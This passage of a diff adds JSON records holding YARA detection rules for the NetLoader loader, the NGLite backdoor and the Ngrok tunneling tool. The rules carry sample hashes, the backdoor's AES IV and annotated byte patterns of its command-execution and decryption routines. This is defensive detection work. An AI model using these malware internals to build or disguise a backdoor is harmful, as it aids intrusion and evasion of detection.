+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568544Z",
+  "creation_date": "2026-03-23T11:46:25.568546Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568552Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Flangvik/NetLoader"
+  ],
+  "name": "netloader.yar",
+  "content": "rule netloader {\n    meta:\n        title = \"NetLoader Loader\"\n        id = \"e9329aeb-83cc-4d98-ad17-867a2d0f0f46\"\n        description = \"Detects NetLoader, a generic .NET loader that loads any .NET binary from filepath or URL.\\nIt employs several techniques to evade detection, including patching AMSI (Anti-Malware Scan Interface) to prevent it from detecting malicious code and unhooking ETW (Event Tracing for Windows) to hide its activities.\"\n        references = \"https://github.com/Flangvik/NetLoader\"\n        date = \"2023-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007;attack.t1140;attack.t1562.001;attack.t1620;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Loader.NetLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 76fe53df3a9befcbe5687e77010eb6a3276081e1da09ab08fb50aa13c32a08d3\n\n        $canary = \"80a527b1477265728b8452bbecb40ef18b4ce228e29da6ea7398b1f4d56a05f6\"\n\n        $s1 = \"UrethralgiaOrc\" ascii fullword\n        $s2 = \"YohimbinizationUninscribed\" ascii fullword\n        $s3 = \"HypostomousBuried\" ascii fullword\n        $s4 = \"GhostwritingNard\" ascii fullword\n        $s5 = \"SecurityProtocolType\" ascii fullword\n\n    condition:\n        all of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "netloader"
+  ],
+  "rule_creation_date": "2023-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.NetLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1027.007",
+    "attack.t1071",
+    "attack.t1562.001",
+    "attack.t1620"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nglite_2bb30fc78e49_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563159Z",
+  "creation_date": "2026-03-23T11:46:25.563163Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563172Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-336a"
+  ],
+  "name": "nglite_2bb30fc78e49.yar",
+  "content": "rule nglite_2bb30fc78e49 {\n    meta:\n        title = \"NGLite Backdoor (2bb30fc78e49)\"\n        id = \"9a85777a-2527-4721-a2a9-2bb30fc78e49\"\n        description = \"Detects the NGLite backdoor that uses New Kind of Network (NKN) infrastructure for its command and control (C2) communications.\\nNGLite is a backdoor that leverages obfuscated communication channels and encrypted command execution. This rule detects the presence of specific strings and patterns indicative of the NGLite backdoor's operation, including its use of AES-CBC encryption with a default initialization vector (IV) and command execution markers.\\nIt is recommended to dump the affected process and investigate network traffic for potential C2 communication.\"\n        references = \"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/\\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-336a\"\n        date = \"2022-03-02\"\n        modified = \"2025-03-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1027;attack.t1573.001;attack.t1573.002\"\n        classification = \"Windows.Backdoor.NGLite\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd\n        // 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755\n        // c1483179bb71b3e6ca9e7186638773dcd75430f7c1684b7d063c7d9ca7a77609\n        // 7e4038e18b5104683d2a33650d8c02a6a89badf30ca9174576bf0aff08c03e72\n\n        $nglite_string_marker_s1 = \"default\" ascii\n        $nglite_string_marker_s2 = \"group\" ascii\n        // Default AES-CBC IV for NGLite\n        $nglite_string_marker_s4 = \"Kasy65xGUhjbzg5f\" ascii\n        $nglite_string_marker_s5 = \"cmd\" ascii\n        $nglite_string_marker_s6 = \"/c\" ascii\n\n        $nglite_runcommand_variant1 = {\n                                                        // __golang main_Runcommand:\n            65 48 8b 0c 25 28 00 00 00                      // mov rcx, qword ptr gs:[0x28]\n            48 8b 89 00 00 00 00                            // mov rcx, qword ptr [rcx]\n            48 3b 61 10                                     // cmp rsp, qword ptr [rcx + 0x10]\n            0f 86 ?? ?? ?? ??                               // jbe go_internal_grow_stack\n\n            48 83 ec ??                                     // sub rsp, 0xXX\n            48 89 6c 24 ??                                  // mov qword ptr [rsp + 0xXX], rbp\n            48 8d 6c 24 ??                                  // lea rbp, [rsp + 0xXX]\n            90                                              // nop\n            48 8d ?? ?? ?? ?? ??                            // lea rax, Commander_type_ptr      // Commander type info\n            48 89 04 24                                     // mov qword ptr [rsp], rax\n            e8 ?? ?? ?? ??                                  // call runtime.newobject           // tmp_command = command.NewCommand() (type Commander)\n            48 8b 7c 24 08                                  // mov rdi, qword ptr [rsp + 8]\n            48 8b 44 24 60                                  // mov rax, qword ptr [rsp + 0x60]\n            48 89 47 08                                     // mov qword ptr [rdi + 8], rax\n\n            83 3d ?? ?? ?? ?? ??                            // cmp cs:runtime.writeBarrier , 0\n            75 ??                                           // jne go_internal_wait_runtime_barrier\n            48 8b 44 24 58                                  // mov rax, qword ptr [rsp + 0x58]\n            48 89 07                                        // mov qword ptr [rdi], rax\n                                                        // write_barrier_aquired:\n            48 8d 05 ?? ?? ?? ??                            // lea rax, go.itab._ng.com_module_command.WindowsCommand_ng.com_module_command.Commander\n            84 00                                           // testbyte ptr [rax], al\n            48 8b 05 ?? ?? ?? ??                            // mov rax, cs:ng.com_module_command.(_ptr_WindowsCommand).Exec\n            48 8d 0d ?? ?? ?? ??                            // lea rcx, runtime.zerobase\n                                                            // NOTE: argument offset guarranty by golang calling convention.\n            48 89 0c 24                                     // mov qword ptr [rsp], rcx         // runtime.zerobase\n            48 89 7c 24 08                                  // mov qword ptr [rsp + 8], rdi     // args ptr\n            48 c7 44 24 10 01 00 00 00                      // mov qword ptr [rsp + 0x10], 1    // args len\n            48 c7 44 24 18 01 00 00 00                      // mov qword ptr [rsp + 0x18], 1    // unknown\n            ff d0                                           // call rax                         // _, output = tmp_command.Exec(argument)\n            48 8b 44 24 28                                  // mov rax, qword ptr [rsp + 0x28]\n            48 8b 4c 24 30                                  // mov rcx, qword ptr [rsp + 0x30]\n            48 89 44 24 68                                  // mov qword ptr [rsp + 0x68], rax\n            48 89 4c 24 70                                  // mov qword ptr [rsp + 0x70], rcx\n            48 8b 6c 24 48                                  // mov rbp, qword ptr [rsp + 0x48]\n            48 83 c4 ??                                     // add rsp, 0xXX\n            c3                                              // ret\n\n                                                        // go_internal_wait_runtime_barrier:\n            48 8b 44 24 ??                                  // mov rax, qword ptr [rsp + 0xXX]\n            e8 ?? ?? ?? ??                                  // call runtime.gcWriteBarrier\n            eb ??                                           // jmp write_barrier_aquired\n                                                        // go_internal_grow_stack:\n            e8 ?? ?? ?? ??                                  // call runtime.morestack_noctxt\n            e9 ?? ?? ?? ??                                  // jmp main_Runcommand\n        }\n\n        $nglite_runcommand_variant2 = {\n                                                        // __golang main_Runcommand:\n            65 48 8b 0c 25 28 00 00 00                      // mov rcx, qword ptr gs:[0x28]\n            48 8b 89 00 00 00 00                            // mov rcx, qword ptr [rcx]\n            48 3b 61 10                                     // cmp rsp, qword ptr [rcx + 0x10]\n            0f 86 ?? ?? ?? ??                               // jbe go_internal_grow_stack\n\n            48 83 ec ??                                     // sub rsp, 0xXX\n            48 89 6c 24 ??                                  // mov qword ptr [rsp + 0xXX], rbp\n            48 8d 6c 24 ??                                  // lea rbp, [rsp + 0xXX]\n            90                                              // nop\n            48 8d ?? ?? ?? ?? ??                            // lea rax, Commander_type_ptr      // Commander type info\n            48 89 04 24                                     // mov qword ptr [rsp], rax\n            e8 ?? ?? ?? ??                                  // call runtime.newobject           // tmp_command = command.NewCommand() (type Commander)\n            48 8b 7c 24 08                                  // mov rdi, qword ptr [rsp + 8]\n            48 8b 44 24 60                                  // mov rax, qword ptr [rsp + 0x60]\n            48 89 47 08                                     // mov qword ptr [rdi + 8], rax\n\n            83 3d ?? ?? ?? ?? ??                            // cmp cs:runtime.writeBarrier , 0\n            75 ??                                           // jne go_internal_wait_runtime_barrier\n            48 8b 44 24 58                                  // mov rax, qword ptr [rsp + 0x58]\n            48 89 07                                        // mov qword ptr [rdi], rax\n                                                        // write_barrier_aquired:\n            48 8d 05 ?? ?? ?? ??                            // lea rax, go.itab._ng.com_module_command.WindowsCommand_ng.com_module_command.Commander\n            84 00                                           // testbyte ptr [rax], al\n            48 8d 05 ?? ?? ?? ??                            // lea rax, ng.com_module_command.(_ptr_WindowsCommand).Exec\n                                                            // NOTE: argument offset guarranty by golang calling convention.\n            48 89 04 24                                     // mov qword ptr [rsp], rax         // runtime.zerobase\n            48 89 7c 24 08                                  // mov qword ptr [rsp + 8], rdi     // args ptr\n            48 c7 44 24 10 01 00 00 00                      // mov qword ptr [rsp + 0x10], 1    // args len\n            48 c7 44 24 18 01 00 00 00                      // mov qword ptr [rsp + 0x18], 1    // unknown\n            e8 ?? ?? ?? ??                                  // call runtime.morestack_noctxt    // _, output = tmp_command.Exec(argument)\n            48 8b 44 24 28                                  // mov rax, qword ptr [rsp + 0x28]\n            48 8b 4c 24 30                                  // mov rcx, qword ptr [rsp + 0x30]\n            48 89 44 24 68                                  // mov qword ptr [rsp + 0x68], rax\n            48 89 4c 24 70                                  // mov qword ptr [rsp + 0x70], rcx\n            48 8b 6c 24 48                                  // mov rbp, qword ptr [rsp + 0x48]\n            48 83 c4 ??                                     // add rsp, 0xXX\n            c3                                              // ret\n\n                                                        // go_internal_wait_runtime_barrier:\n            48 8b 44 24 ??                                  // mov rax, qword ptr [rsp + 0xXX]\n            e8 ?? ?? ?? ??                                  // call runtime.gcWriteBarrier\n            eb ??                                           // jmp write_barrier_aquired\n                                                        // go_internal_grow_stack:\n            e8 ?? ?? ?? ??                                  // call runtime.morestack_noctxt\n            e9 ?? ?? ?? ??                                  // jmp main_Runcommand\n        }\n\n        $nglite_aesdecode_variant1 = {\n            48 81 EC ?? 00 00 00                             // sub rsp, 0xXX\n            48 89 AC 24 ?? 00 00 00                          // mov qword ptr [rsp + 0xXX], rbp\n            48 8D AC 24 ?? 00 00 00                          // lea rbp, [rsp + 0xXX]\n            48 C7 04 24 00 00 00 00                          // mov qword ptr [rsp], 0\n            48 8B 84 24 ?? 00 00 00                          // mov rax, qword ptr [rsp + 0xXX]\n            48 89 44 24 08                                   // mov qword ptr [rsp + 8], rax\n            48 8B 84 24 ?? 00 00 00                          // mov rax, qword ptr [rsp + 0xXX]\n            48 89 44 24 10                                   // mov qword ptr [rsp + 0x10], rax\n            E8 ?? ?? ?? ??                                   // call runtime.stringtoslicebyte\n            48 8B 44 24 20                                   // mov rax, qword ptr [rsp + 0x20]\n            48 8B 4C 24 18                                   // mov rcx, qword ptr [rsp + 0x18]\n            48 8B 54 24 28                                   // mov rdx, qword ptr [rsp + 0x28]\n            0F 10 05 2C 1A 11 00                             // movups xmm0, xmmword ptr [rip + 0x111a2c]\n            0F 11 44 24 70                                   // movups xmmword ptr [rsp + 0x70], xmm0\n            48 89 0C 24                                      // mov qword ptr [rsp], rcx\n            48 89 44 24 08                                   // mov qword ptr [rsp + 8], rax\n            48 89 54 24 10                                   // mov qword ptr [rsp + 0x10], rdx\n            48 8D 44 24 ??                                   // lea rax, [rsp + 0xXX]\n                                                             // NOTE: argument offset guarranty by golang calling convention.\n            48 89 44 24 18                                   // mov qword ptr [rsp + 0x18], rax\n            48 C7 44 24 20 10 00 00 00                       // mov qword ptr [rsp + 0x20], 0x10\n            48 C7 44 24 28 10 00 00 00                       // mov qword ptr [rsp + 0x28], 0x10\n            48 C7 44 24 30 00 00 00 00                       // mov qword ptr [rsp + 0x30], 0\n            0F 57 C0                                         // xorps xmm0, xmm0\n            0F 11 44 24 38                                   // movups xmmword ptr [rsp + 0x38], xmm0\n            E8 ?? ?? ?? ??                                   // call ng.com_module_cipher.AesCbcDecrypt\n        }\n\n        $nglite_aesdecode_variant2 = {\n            48 81 EC ?? 00 00 00                             // sub rsp, 0xXX\n            48 89 AC 24 ?? 00 00 00                          // mov qword ptr [rsp + 0xXX], rbp\n            48 8D AC 24 ?? 00 00 00                          // lea rbp, [rsp + 0xXX]\n            48 C7 04 24 00 00 00 00                          // mov qword ptr [rsp], 0\n            48 8B 84 24 ?? 00 00 00                          // mov rax, qword ptr [rsp + 0xXX]\n            48 89 44 24 08                                   // mov qword ptr [rsp + 8], rax\n            48 8B 84 24 ?? 00 00 00                          // mov rax, qword ptr [rsp + 0xXX]\n            48 89 44 24 10                                   // mov qword ptr [rsp + 0x10], rax\n            E8 ?? ?? ?? ??                                   // call runtime.stringtoslicebyte\n            48 8B 44 24 18                                   // mov rax, qword ptr [rsp + 0x18]\n            48 8B 4C 24 20                                   // mov rcx, qword ptr [rsp + 0x20]\n            48 8B 54 24 28                                   // mov rdx, qword ptr [rsp + 0x28]\n            48 BB 77 68 61 74 73 77 72 6F                    // movabs rbx, 0x6f72777374616877\n            48 89 5C 24 70                                   // mov qword ptr [rsp + 0x70], rbx\n            48 BB 6E 67 77 69 74 68 55 75                    // movabs rbx, 0x755568746977676e\n            48 89 5C 24 78                                   // mov qword ptr [rsp + 0x78], rbx\n            48 89 04 24                                      // mov qword ptr [rsp], rax\n            48 89 4C 24 08                                   // mov qword ptr [rsp + 8], rcx\n            48 89 54 24 10                                   // mov qword ptr [rsp + 0x10], rdx\n            48 8D 44 24 70                                   // lea rax, [rsp + 0x70]\n            48 89 44 24 18                                   // mov qword ptr [rsp + 0x18], rax\n            48 C7 44 24 20 10 00 00 00                       // mov qword ptr [rsp + 0x20], 0x10\n            48 C7 44 24 28 10 00 00 00                       // mov qword ptr [rsp + 0x28], 0x10\n            48 C7 44 24 30 00 00 00 00                       // mov qword ptr [rsp + 0x30], 0\n            0F 57 C0                                         // xorps xmm0, xmm0\n            0F 11 44 24 38                                   // movups xmmword ptr [rsp + 0x38], xmm0\n            E8 ?? ?? ?? ??                                   // call ng.com_module_cipher.AesCbcDecrypt\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 20MB and 4 of ($nglite_string_marker_s*) and 1 of ($nglite_runcommand_variant*) and 1 of ($nglite_aesdecode_variant*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nglite_2bb30fc78e49"
+  ],
+  "rule_creation_date": "2022-03-02",
+  "rule_modified_date": "2025-03-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.NGLite"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573.001",
+    "attack.t1573.002",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nglite_f5e8d60b230c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573786Z",
+  "creation_date": "2026-03-23T11:46:25.573790Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573799Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-336a"
+  ],
+  "name": "nglite_f5e8d60b230c.yar",
+  "content": "rule nglite_f5e8d60b230c {\n    meta:\n        title = \"NGLite Backdoor (f5e8d60b230c)\"\n        id = \"4838a9cf-cbb7-4225-aa50-f5e8d60b230c\"\n        description = \"Detects the NGLite backdoor that uses New Kind of Network (NKN) infrastructure for its command and control (C2) communications.\\nNGLite is a backdoor that leverages obfuscated communication channels and encrypted command execution. This rule detects the presence of specific strings and patterns indicative of the NGLite backdoor's operation, including its use of AES-CBC encryption with a default initialization vector (IV) and command execution markers.\\nIt is recommended to isolate the affected process and investigate network traffic for potential C2 communication.\"\n        references = \"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/\\nhttps://us-cert.cisa.gov/ncas/alerts/aa21-336a\"\n        date = \"2022-03-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1027;attack.t1573.001;attack.t1573.002\"\n        classification = \"Windows.Backdoor.NGLite\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples :\n        // 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f\n        // 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d\n        // 342a6d21984559accbc54077db2abf61fd9c3939a4b09705f736231cbc7836ae\n\n        $nglite_string_marker_s1 = \"default\" ascii\n        $nglite_string_marker_s2 = \"group\" ascii\n        // Default AES-CBC IV for NGLite\n        $nglite_string_marker_s4 = \"Kasy65xGUhjbzg5f\" ascii\n        $nglite_string_marker_s5 = \"cmd\" ascii\n        $nglite_string_marker_s6 = \"/c\" ascii\n\n        $nglite_runcommand_variant1 = {\n                                // __golang main_Runcommand:\n            64 8B 0D 14 00 00 00    // mov ecx, dword ptr fs:[0x14]\n            8B 89 00 00 00 00       // mov ecx, dword ptr [ecx]\n            3B 61 08                // cmp esp, dword ptr [ecx + 8]\n            76 ??                   // jbe go_internal_grow_stack\n\n            83 EC ??                // sub esp, 0xXX\n            90                      // nop\n            8D 05 ?? ?? ?? ??       // lea eax, [0xXX]                // Commander_type_ptr      // Commander type info\n            89 04 24                // mov dword ptr [esp], eax\n            E8 ?? ?? ?? ??          // call runtime.newobject         // tmp_command = command.NewCommand() (type Commander)\n            8B 7C 24 04             // mov edi, dword ptr [esp + 4]\n            8B 44 24 2C             // mov eax, dword ptr [esp + 0x2c]\n            89 47 04                // mov dword ptr [edi + 4], eax\n            8B 05 ?? ?? ?? ??       // mov eax, dword ptr [runtime.writeBarrier]\n            85 C0                   // test eax, eax\n            75 ??                   // jne go_internal_wait_runtime_barrier\n            8B 44 24 28             // mov eax, dword ptr [esp + 0x28]\n            89 07                   // mov dword ptr [edi], eax\n\n                                // write_barrier_aquired:\n            8D 05 ?? ?? ?? ??       // lea eax, [go.itab._ng.com_module_command.WindowsCommand_ng.com_module_command.Commander]\n            84 00                   // test byte ptr [eax], al\n            8B 05 ?? ?? ?? ??       // mov eax, dword ptr [ng.com_module_command.(_ptr_WindowsCommand).Exec]\n            8D 0D ?? ?? ?? ??       // lea ecx, [runtime.zerobase]\n\n                                    // NOTE: argument offset guarranty by golang calling convention.\n            89 0C 24                // mov dword ptr [esp], ecx        // runtime.zerobase\n            89 7C 24 04             // mov dword ptr [esp + 4], edi    // args ptr\n            C7 44 24 08 01 00 00 00 // mov dword ptr [esp + 8], 1      // args len\n            C7 44 24 0C 01 00 00 00 // mov dword ptr [esp + 0xc], 1    // unknown\n            FF D0                   // call eax                        // _, output = tmp_command.Exec(argument)\n            8B 44 24 14             // mov eax, dword ptr [esp + 0x14]\n            8B 4C 24 18             // mov ecx, dword ptr [esp + 0x18]\n            89 44 24 30             // mov dword ptr [esp + 0x30], eax\n            89 4C 24 34             // mov dword ptr [esp + 0x34], ecx\n            83 C4 ??                // add esp, 0xXX\n            C3                      // ret\n\n                                // go_internal_wait_runtime_barrier:\n            8B 44 24 ??             // mov eax, dword ptr [esp + 0xXX]\n            E8 ?? ?? ?? ??          // call runtime.gcWriteBarrier\n            EB ??                   // jmp write_barrier_aquired\n            E8 ?? ?? ?? ??          // call runtime.morestack_noctxt\n            E9 ?? ?? ?? ??          // jmp main_Runcommand\n        }\n\n        $nglite_runcommand_variant2 = {\n                                // __golang main_Runcommand:\n            64 8B 0D 14 00 00 00    // mov ecx, dword ptr fs:[0x14]\n            8B 89 00 00 00 00       // mov ecx, dword ptr [ecx]\n            3B 61 08                // cmp esp, dword ptr [ecx + 8]\n            76 ??                   // jbe go_internal_grow_stack\n\n            83 EC ??                // sub esp, 0xXX\n            90                      // nop\n            8D 05 ?? ?? ?? ??       // lea eax, [0xXX]                // Commander_type_ptr      // Commander type info\n            89 04 24                // mov dword ptr [esp], eax\n            E8 ?? ?? ?? ??          // call runtime.newobject         // tmp_command = command.NewCommand() (type Commander)\n            8B 7C 24 04             // mov edi, dword ptr [esp + 4]\n            8B 44 24 2C             // mov eax, dword ptr [esp + 0x2c]\n            89 47 04                // mov dword ptr [edi + 4], eax\n            8B 05 ?? ?? ?? ??       // mov eax, dword ptr [runtime.writeBarrier]\n            85 C0                   // test eax, eax\n            75 ??                   // jne go_internal_wait_runtime_barrier\n            8B 44 24 28             // mov eax, dword ptr [esp + 0x28]\n            89 07                   // mov dword ptr [edi], eax\n\n                                // write_barrier_aquired:\n            8D 05 ?? ?? ?? ??       // lea eax, [go.itab._ng.com_module_command.WindowsCommand_ng.com_module_command.Commander]\n            84 00                   // test byte ptr [eax], al\n            8D 05 ?? ?? ?? ??       // lea eax, dword ptr [ng.com_module_command.(_ptr_WindowsCommand).Exec]\n\n                                    // NOTE: argument offset guarranty by golang calling convention.\n            89 04 24                // mov dword ptr [rsp], ecx        // runtime.zerobase\n            89 7C 24 04             // mov dword ptr [esp + 4], edi    // args ptr\n            C7 44 24 08 01 00 00 00 // mov dword ptr [esp + 8], 1      // args len\n            C7 44 24 0C 01 00 00 00 // mov dword ptr [esp + 0xc], 1    // unknown\n            E8 ?? ?? ?? ??          // call NGLite_module_command.(_ptr_WindowsCommand).Exec // _, output = tmp_command.Exec(argument)\n            8B 44 24 14             // mov eax, dword ptr [esp + 0x14]\n            8B 4C 24 18             // mov ecx, dword ptr [esp + 0x18]\n            89 44 24 30             // mov dword ptr [esp + 0x30], eax\n            89 4C 24 34             // mov dword ptr [esp + 0x34], ecx\n            83 C4 ??                // add esp, 0xXX\n            C3                      // ret\n\n                                // go_internal_wait_runtime_barrier:\n            8B 44 24 ??             // mov eax, dword ptr [esp + 0xXX]\n            E8 ?? ?? ?? ??          // call runtime.gcWriteBarrier\n            EB ??                   // jmp write_barrier_aquired\n            E8 ?? ?? ?? ??          // call runtime.morestack_noctxt\n            E9 ?? ?? ?? ??          // jmp main_Runcommand\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 15MB and 4 of ($nglite_string_marker_s*) and 1 of ($nglite_runcommand_variant*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nglite_f5e8d60b230c"
+  ],
+  "rule_creation_date": "2022-03-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.NGLite"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1573.001",
+    "attack.t1573.002",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ngrok_tunneling_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584920Z",
+  "creation_date": "2026-03-23T11:46:25.584922Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584928Z",
+  "rule_level": "medium",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0508/\nhttps://github.com/inconshreveable/ngrok\nhttps://securelist.com/loki-agent-for-mythic/113596/"
+  ],
+  "name": "ngrok_tunneling.yar",
+  "content": "rule ngrok_tunneling_application {\n    meta:\n        title = \"Ngrok Tool\"\n        id = \"df65b294-725a-4b7b-a151-ae408f04cdc8\"\n        description = \"Detects Ngrok, a tunneling application used to establish unauthorized connections.\\nNgrok is often employed by attackers to exfiltrate data or gain remote access by creating tunnels through legitimate-looking domains. Recently observed in mid-2024 in conjunction with Mythic Loki campaigns, it poses a significant risk to network security.\\nIt is recommended to determine if this binary is expected in your environment.\"\n        references = \"https://attack.mitre.org/software/S0508/\\nhttps://github.com/inconshreveable/ngrok\\nhttps://securelist.com/loki-agent-for-mythic/113596/\"\n        date = \"2020-12-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0508;attack.t1572;attack.t1090;attack.t1102;attack.t1567;attack.t1568.002\"\n        classification = \"Windows.Tool.Ngrok\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 50\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for these samples:\n        // 53cfaee549713fc5da29cea9c0994294c97208ee1866a1d56c54408165a63ca7\n        // 65f2bf2bf25524b4b9c41e4ff55ede002cc527aab0840c5bcbeb06f7c245227f\n        // 3e625e20d7f00b6d5121bb0a71cfa61f92d658bcd61af2cf5397e0ae28f4ba56\n        // 96aa98acfc7b20f08b3fad53f7e3c7ce3d8463d3376e1cc76949b20aa265c403\n        // 6c83fe473de9c0e8c571a75f304ca9a2fa8ea4af5d15dfbb9f5d0679ecc3a327\n        // 5f8e9fe5156d14ab236213ad6ffe972e484880f8fce9382d28669f254e71c4c7\n\n        $s1 = \"go.ngrok.com\" ascii\n        $s2 = \".ngrok.com:443\" ascii\n        $s3 = \"go.ngrok.com/cmd/ngrok/main.go\" ascii fullword\n\n    condition:\n        filesize > 1MB and 2 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ngrok_tunneling_application"
+  ],
+  "rule_creation_date": "2020-12-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
